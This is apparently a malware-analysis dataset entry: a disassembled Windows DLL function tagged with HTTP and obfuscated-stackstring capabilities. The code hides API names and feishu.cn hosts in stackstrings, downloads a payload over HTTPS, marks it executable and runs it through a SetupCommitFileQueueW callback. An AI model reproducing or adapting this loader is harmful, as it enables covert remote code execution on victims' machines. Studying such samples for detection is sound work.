Function at 0x180002a20
Capabilities:
Connect to http server
Contain obfuscated stackstrings
Create http request
Send data
Send http request

Disassembly:
push rbp
lea rbp, [rsp - 0x140]
sub rsp, 0x240
xor edx, edx
mov dword [rsp + 0x60], 0x74726956
mov r8d, 0x104
mov dword [rsp + 0x64], 0x506c6175
lea rcx, [rbp + 0x10]
mov dword [rsp + 0x68], 0x65746f72
mov word [rsp + 0x6c], 0x7463
mov byte [rsp + 0x6e], 0
mov dword [rsp + 0x50], 0x74726956
mov dword [rsp + 0x54], 0x416c6175
mov dword [rsp + 0x58], 0x636f6c6c
mov byte [rsp + 0x5c], 0
mov dword [rsp + 0x70], 0x2d73636d
mov dword [rsp + 0x74], 0x662e6462
mov dword [rsp + 0x78], 0x68736965
mov dword [rsp + 0x7c], 0x6e632e75
mov byte [rbp - 0x80], 0
mov dword [rbp - 0x78], 0x65746e69
mov dword [rbp - 0x74], 0x6c616e72
mov dword [rbp - 0x70], 0x6970612d
mov dword [rbp - 0x6c], 0x72616c2d
mov dword [rbp - 0x68], 0x70612d6b
mov dword [rbp - 0x64], 0x65662e69
mov dword [rbp - 0x60], 0x75687369
mov dword [rbp - 0x5c], 0x6e632e
call fcn.180006540
mov r8d, 0x104
lea rdx, [rbp + 0x10]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdx, str.ServiceManager.exe
lea rcx, [rbp + 0x10]
call fcn.180005f1c
test rax, rax
je 0x1800030bd
mov qword [rsp + 0x228], rdi
lea rdx, str.ntdll.dll
lea rcx, str.C:WindowsSystem32_ntdll.dll
mov qword [rsp + 0x220], r14
call fcn.180003410
lea rdx, [0x180023940]
lea rcx, str.C:WindowsSystem32kernel32.dll
call fcn.180003410
lea rcx, [0x180023940]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x180023940]
mov qword [0x180024cb0], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x1800201e0]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
xor r14d, r14d
mov r9, rax
mov r8d, r14d
movsxd rcx, dword [rax + 0x3c]
mov r10d, dword [rcx + rax + 0x98]
movzx r11d, word [r10 + rax + 0xe]
movzx ecx, word [r10 + rax + 0xc]
add r11d, ecx
je 0x180002bf0
lea rcx, [rax + 0x14]
add rcx, r10
nop word [rax + rax]
mov eax, dword [rcx]
cmp eax, 0x80000000
jb 0x180002bf0
btr eax, 0x1f
add rax, r10
cmp dword [rax + r9 + 0x14], 0x80000000
jb 0x180002be4
cmp word [rax + r9 + 0x10], 0x65
je 0x180002bf8
inc r8
add rcx, 8
cmp r8, r11
jb 0x180002bc0
or eax, 0xffffffff
jmp 0x180002f68
mov eax, dword [rax + r9 + 0x14]
btr eax, 0x1f
add rax, r10
mov ecx, dword [rax + r9 + 0x14]
btr ecx, 0x1f
add rcx, r10
mov edx, dword [rcx + r9]
add rdx, r9
je 0x180002bf0
cmp dword [rcx + r9 + 4], r14d
je 0x180002bf0
mov qword [rbp - 0x18], 0xf
mov qword [rbp - 0x20], r14
mov byte [rbp - 0x30], r14b
cmp byte [rdx], r14b
jne 0x180002c3a
mov r8, r14
jmp 0x180002c49
or r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rdx + r8], r14b
jne 0x180002c40
lea rcx, [rbp - 0x30]
call fcn.180002030
lea rdx, [rbp - 0x30]
lea rcx, [rbp - 0x10]
call fcn.180001db0
mov rax, qword [rbp - 0x18]
cmp rax, 0x10
jb 0x180002cad
mov rcx, qword [rbp - 0x30]
inc rax
cmp rax, 0x1000
jb 0x180002ca8
test cl, 0x1f
jne 0x1800030c5
mov rax, qword [rcx - 8]
cmp rax, rcx
jae 0x1800030cb
sub rcx, rax
cmp rcx, 8
jb 0x1800030d1
cmp rcx, 0x27
ja 0x1800030d7
mov rcx, rax
call fcn.1800038f4
mov qword [rsp + 0x238], rbx
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x230], rsi
xor edx, edx
mov dword [rbp + 0x168], r14d
xor ecx, ecx
mov qword [rbp - 0x38], r14
mov dword [rsp + 0x20], r14d
call qword [sym.imp.WININET.dll_InternetOpenA]
test rax, rax
je 0x180002df0
mov qword [rsp + 0x38], r14
lea rdx, [rsp + 0x70]
mov dword [rsp + 0x30], r14d
mov r8d, 0x1bb
mov dword [rsp + 0x28], 3
xor r9d, r9d
mov rcx, rax
mov qword [rsp + 0x20], r14
call qword [sym.imp.WININET.dll_InternetConnectA]
test rax, rax
je 0x180002df0
mov qword [rsp + 0x38], r14
lea r9, str.HTTP_1.1
mov dword [rsp + 0x30], 0x84c02100
lea r8, str._v1_list
mov qword [rsp + 0x28], r14
lea rdx, str.POST
mov rcx, rax
mov qword [rsp + 0x20], r14
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov rbx, rax
test rax, rax
je 0x180002df0
mov r9d, 4
mov dword [rbp + 0x158], 0x3180
lea r8, [rbp + 0x158]
mov rcx, rax
lea edx, [r9 + 0x1b]
call qword [sym.imp.WININET.dll_InternetSetOptionA]
mov r9d, 4
mov dword [rbp + 0x150], 0x493e0
lea r8, [rbp + 0x150]
mov rcx, rbx
lea edx, [r9 - 2]
call qword [sym.imp.WININET.dll_InternetSetOptionA]
mov r9d, 4
lea r8, [rbp + 0x150]
mov rcx, rbx
lea edx, [r9 + 2]
call qword [sym.imp.WININET.dll_InternetSetOptionA]
mov r9d, 4
lea r8, [rbp + 0x150]
mov rcx, rbx
lea edx, [r9 + 1]
call qword [sym.imp.WININET.dll_InternetSetOptionA]
xor r9d, r9d
mov dword [rsp + 0x20], r14d
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.WININET.dll_HttpSendRequestA]
lea rdx, [rbp - 0x10]
lea rcx, [rbp - 0x58]
call fcn.180002530
cmp qword [rbp - 0x40], 0x10
lea rbx, [rbp - 0x58]
mov esi, dword [rbp - 0x48]
mov r9d, 4
cmovae rbx, qword [rbp - 0x58]
mov r8d, 0x3000
xor ecx, ecx
mov edx, esi
call rdi
mov rdi, rax
mov ecx, esi
test rax, rax
je 0x180002e81
test rbx, rbx
je 0x180002e81
cmp rbx, rax
jae 0x180002e63
lea rdx, [rsi + rbx]
cmp rdx, rax
jbe 0x180002e63
dec rdx
test rsi, rsi
je 0x180002e81
mov rcx, rdx
sub rcx, rbx
inc rcx
nop
movzx eax, byte [rdx]
lea rdx, [rdx - 1]
mov byte [rdi + rcx - 1], al
sub rcx, 1
jne 0x180002e50
jmp 0x180002e81
test rsi, rsi
je 0x180002e81
mov r8, rdi
sub r8, rbx
nop
movzx eax, byte [rbx]
mov byte [r8 + rbx], al
lea rbx, [rbx + 1]
sub rcx, 1
jne 0x180002e70
lea r9, [rbp + 0x160]
mov dword [rbp + 0x160], r14d
mov r8d, 0x40
mov rdx, rsi
mov rcx, rdi
call qword [0x180024cb0]
mov rsi, qword [rsp + 0x230]
test eax, eax
jne 0x180002f81
mov rax, qword [rbp - 0x40]
cmp rax, 0x10
jb 0x180002eff
mov rcx, qword [rbp - 0x58]
inc rax
cmp rax, 0x1000
jb 0x180002efa
test cl, 0x1f
jne 0x1800030dd
mov rax, qword [rcx - 8]
cmp rax, rcx
jae 0x1800030e3
sub rcx, rax
cmp rcx, 8
jb 0x1800030e9
cmp rcx, 0x27
ja 0x1800030ef
mov rcx, rax
call fcn.1800038f4
mov rax, qword [rbp + 8]
mov qword [rbp - 0x40], 0xf
mov qword [rbp - 0x48], r14
mov byte [rbp - 0x58], r14b
cmp rax, 0x10
jb 0x180002f5d
mov rcx, qword [rbp - 0x10]
inc rax
cmp rax, 0x1000
jb 0x180002f58
test cl, 0x1f
jne 0x1800030f5
mov rax, qword [rcx - 8]
cmp rax, rcx
jae 0x1800030fb
sub rcx, rax
cmp rcx, 8
jb 0x180003101
cmp rcx, 0x27
ja 0x180003107
mov rcx, rax
call fcn.1800038f4
or eax, 0xffffffff
mov rbx, qword [rsp + 0x238]
mov rdi, qword [rsp + 0x228]
mov r14, qword [rsp + 0x220]
add rsp, 0x240
pop rbp
ret
lea rax, [rbp + 0x168]
mov qword [rsp + 0x30], rax
lea rdx, str._accounts_status_heartbeat__t1698216980640
lea rax, [rbp - 0x38]
lea rcx, [rbp - 0x78]
mov qword [rsp + 0x28], rax
call fcn.180003150
call qword [sym.imp.SETUPAPI.dll_SetupOpenFileQueue]
mov dword [rsp + 0x40], 0x400
lea r9, [0x180020230]
mov qword [rsp + 0x38], r9
lea r8, str.windows_sytem32_
mov rbx, rax
lea rdx, [0x1800202a0]
lea rax, str.c:windows_temp_
mov rcx, rbx
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r14
call qword [sym.imp.SETUPAPI.dll_SetupQueueCopyW]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetTopWindow]
xor r9d, r9d
mov r8, rdi
mov rcx, rax
mov rdx, rbx
call qword [sym.imp.SETUPAPI.dll_SetupCommitFileQueueW]
mov rax, qword [rbp - 0x40]
cmp rax, 0x10
jb 0x180003058
mov rcx, qword [rbp - 0x58]
inc rax
cmp rax, 0x1000
jb 0x180003053
test cl, 0x1f
jne 0x18000310d
mov rax, qword [rcx - 8]
cmp rax, rcx
jae 0x180003113
sub rcx, rax
cmp rcx, 8
jb 0x180003119
cmp rcx, 0x27
ja 0x18000311f
mov rcx, rax
call fcn.1800038f4
mov rax, qword [rbp + 8]
mov qword [rbp - 0x40], 0xf
mov qword [rbp - 0x48], r14
mov byte [rbp - 0x58], r14b
cmp rax, 0x10
jb 0x1800030b6
mov rcx, qword [rbp - 0x10]
inc rax
cmp rax, 0x1000
jb 0x1800030b1
test cl, 0x1f
jne 0x180003125
mov rax, qword [rcx - 8]
cmp rax, rcx
jae 0x18000312b
sub rcx, rax
cmp rcx, 8
jb 0x180003131
cmp rcx, 0x27
ja 0x180003137
mov rcx, rax
call fcn.1800038f4
xor eax, eax
jmp 0x180002f60
xor ecx, ecx
call fcn.180007cb8
int3
call fcn.180007864
int3
call fcn.180007864
int3
call fcn.180007864
int3
call fcn.180007864
int3
call fcn.180007864
int3
call fcn.180007864
int3
call fcn.180007864
int3
call fcn.180007864
int3
call fcn.180007864
int3
call fcn.180007864
int3
call fcn.180007864
int3
call fcn.180007864
int3
call fcn.180007864
int3
call fcn.180007864
int3
call fcn.180007864
int3
call fcn.180007864
int3
call fcn.180007864
int3
call fcn.180007864
int3
call fcn.180007864
int3
call fcn.180007864
int3